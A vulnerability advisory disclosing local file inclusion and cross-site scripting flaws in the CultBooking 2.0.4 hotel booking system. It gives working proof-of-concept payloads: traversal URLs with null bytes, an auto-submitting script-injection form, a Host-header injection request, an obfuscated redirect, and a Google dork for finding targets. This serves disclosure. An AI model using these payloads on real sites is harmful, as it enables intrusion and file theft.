113 lines
No EOL
4.1 KiB
Text
113 lines
No EOL
4.1 KiB
Text
CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability
|
|
|
|
Vendor: Cultuzz Digital Media GmbH
|
|
Product web page: http://www.cultuzz.com
|
|
Affected version: 2.0.4
|
|
|
|
Summary: Open source hotel booking system (Internet Booking
|
|
Engine (IBE)). Via a central api called CultSwitch it is
|
|
possible to make bookings and set the actual availabilities
|
|
in the hotels pms. This is easy to install and easy to integrate
|
|
with full support.
|
|
|
|
Desc: CultBooking suffers from a local file inlcusion/disclosure
|
|
(LFI/FD) vulnerability when input passed thru the 'lang' parameter
|
|
to cultbooking.php script is not properly verified before being used
|
|
to include files. This can be exploited to include files from local
|
|
resources with directory traversal attacks and URL encoded NULL bytes.
|
|
|
|
~ Conditional on 'magic_quotes_gpc=off'.
|
|
|
|
Tested on: Microsoft Windows XP Professional SP3 (EN)
|
|
Apache 2.2.14 (Win32)
|
|
PHP 5.3.1
|
|
MySQL 5.1.41
|
|
|
|
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
|
|
liquidworm gmail com
|
|
Zero Science Lab - http://www.zeroscience.mk
|
|
|
|
Advisory ID: ZSL-2011-4988
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4988.php
|
|
|
|
16.01.2011
|
|
|
|
|
|
Dork: "inurl:cultbooking.php"
|
|
|
|
http://1.1.1.2/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00
|
|
http://1.1.1.2/cultbooking.php?lang=../../../boot.ini%00
|
|
|
|
<!--
|
|
|
|
CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities
|
|
|
|
|
|
Vendor: Cultuzz Digital Media GmbH
|
|
Product web page: http://www.cultuzz.com
|
|
Affected version: 2.0.4
|
|
|
|
Summary: Open source hotel booking system (Internet Booking Engine (IBE)). Via a
|
|
central api called CultSwitch it is possible to make bookings and set the actual
|
|
availabilities in the hotels pms. This is easy to install and easy to integrate
|
|
with full support.
|
|
|
|
Desc: CultBooking Hotel Booking System suffers from a XSS/PD vulnerability when
|
|
parsing user input to the 'bookingcode', 'email' and 'lang' parameter via POST
|
|
and GET methods in cultbooking.php script. Attackers can exploit this weakness
|
|
to execute arbitrary HTML and script code in a user's browser session.
|
|
|
|
Tested on: Microsoft Windows XP Professional SP3 (EN)
|
|
Apache 2.2.14 (Win32)
|
|
PHP 5.3.1
|
|
MySQL 5.1.41
|
|
|
|
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
|
|
liquidworm gmail com
|
|
Zero Science Lab - http://www.zeroscience.mk
|
|
|
|
Advisory ID: ZSL-2011-4987
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4987.php
|
|
|
|
16.01.2011
|
|
|
|
-->
|
|
|
|
|
|
Dork: "inurl:cultbooking.php"
|
|
|
|
<script type="text/javascript">function xss1(){document.forms["xss"].submit();}</script>
|
|
<form action="http://1.1.1.2/cultbooking.php" enctype="application/x-www-form-urlencoded" id="xss" method="POST">
|
|
<input type="hidden" name="agentsine" value="10492">
|
|
<input type="hidden" name="agentdutycode" value ="1429741cfe1700d7">
|
|
<input type="hidden" name="lang" id="lang" value="en">
|
|
<input type="hidden" name="hcode" value="11225">
|
|
<input type="hidden" name="action" value="cancelbooking">
|
|
<input type="hidden" name="email" value='"><script>alert(2)</script>' />
|
|
<input type="hidden" name="bookingcode" value='"><script>alert(1)</script>' />
|
|
</form>
|
|
<a href="javascript: xss1();" style="text-decoration:none">
|
|
<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a>
|
|
|
|
|
|
http://1.1.1.2/cultbooking.php?lang=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
|
|
|
|
|
|
HTML Injection via Header Attack:
|
|
---------------------------------------------------------------------
|
|
POST http://1.1.1.2/cultbooking.php HTTP/1.1
|
|
Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"
|
|
Content-Length: 19
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
|
|
Accept-Encoding: gzip,deflate
|
|
Keep-Alive: 50
|
|
Connection: Keep-Alive
|
|
|
|
action=cancellation
|
|
---------------------------------------------------------------------
|
|
Affected Header variable: Host
|
|
|
|
|
|
magic quotes bypass redirect:
|
|
http://1.1.1.2/cultbooking.php?lang="><script>document.location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46, 109, 107);</script> |